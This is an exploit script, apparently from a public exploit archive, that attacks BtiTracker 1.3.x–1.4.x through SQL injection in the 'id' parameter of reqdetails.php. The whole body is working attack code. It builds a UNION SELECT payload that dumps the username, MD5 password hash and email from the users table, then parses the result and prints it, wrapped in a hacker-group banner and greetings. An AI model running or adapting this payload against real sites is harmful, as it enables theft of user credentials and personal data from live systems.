BtiTracker 1.3.x < 1.4.x - SQL Injection
#!/usr/bin/env python # ################################################################################ # ______ ____ __ [ xpl0it ] # #/\__ _\ /\ _`\ __/\ \__ # #\/_/\ \/ ___\ \,\L\_\ __ ___ __ __ _ __ /\_\ \ ,_\ __ __ # # \ \ \ /' _ `\/_\__ \ /'__`\ /'___\/\ \/\ \/`'__\/\ \ \ \/ /\ \/\ \ # # \_\ \__/\ \/\ \/\ \L\ \/\ __//\ \__/\ \ \_\ \ \ \/ \ \ \ \ \_\ \ \_\ \ # # /\_____\ \_\ \_\ `\____\ \____\ \____\\ \____/\ \_\ \ \_\ \__\\/`____ \ # # \/_____/\/_/\/_/\/_____/\/____/\/____/ \/___/ \/_/ \/_/\/__/ `/___/> \ # # _________________ /\___/ # # www.insecurity.ro \/__/ # # # ################################################################################ # [ BtiTracker 1.3.X - 1.4.X Exploit ] # # Greetz: daemien, Sirgod, Puscas_Marin, AndrewBoy, Ras, HrN, vilches # # Greetz: excess, E.M.I.N.E.M, flo flow, paxnWo, begood, and ISR Staff # ################################################################################ # Because we care, we're security aware # ################################################################################ import sys, urllib2, re if len(sys.argv) < 2: print "===============================================================" print "============== BtiTracker 1.3.X - 1.4.X Exploit ===============" print "===============================================================" print "= Discovered and coded by TinKode =" print "= www.InSecurity.ro =" print "= =" print "= Local Command: =" print "= ./isr.py [http://webshit] [ID] =" print "= =" print "===============================================================" exit() if len(sys.argv) < 3: id = 1 else: id = sys.argv[2] shit = sys.argv[1] if shit[-1:] != "/": shit += "/" url = shit + "reqdetails.php?id=-1337+and+1=0+union+all+select+1,2,3,\ concat(0x2d,0x2d,username,0x3a,password,0x3a,email,0x2d,0x2d)\ ,5,6,7,8,9,10+from+users+where+ID=" + str(id) + "--" print "\n" print "=============================================" print "================= InSecurity ================" print "=============================================" html = urllib2.urlopen(url).read() slobod = re.findall(r"--(.*)\:([0-9a-fA-F]{32})\:(.*)--", html) if len(slobod) > 0: print "ID : " + str(id) print "Username : " + slobod[0][0] print "Password : " + slobod[0][1] print "EMail : " + slobod[0][2] print "=============================================" print "================= InSecurity ================" print "=============================================" else: print "Ai luat-o la gaoaza..." #InSecurity.ro - Romania |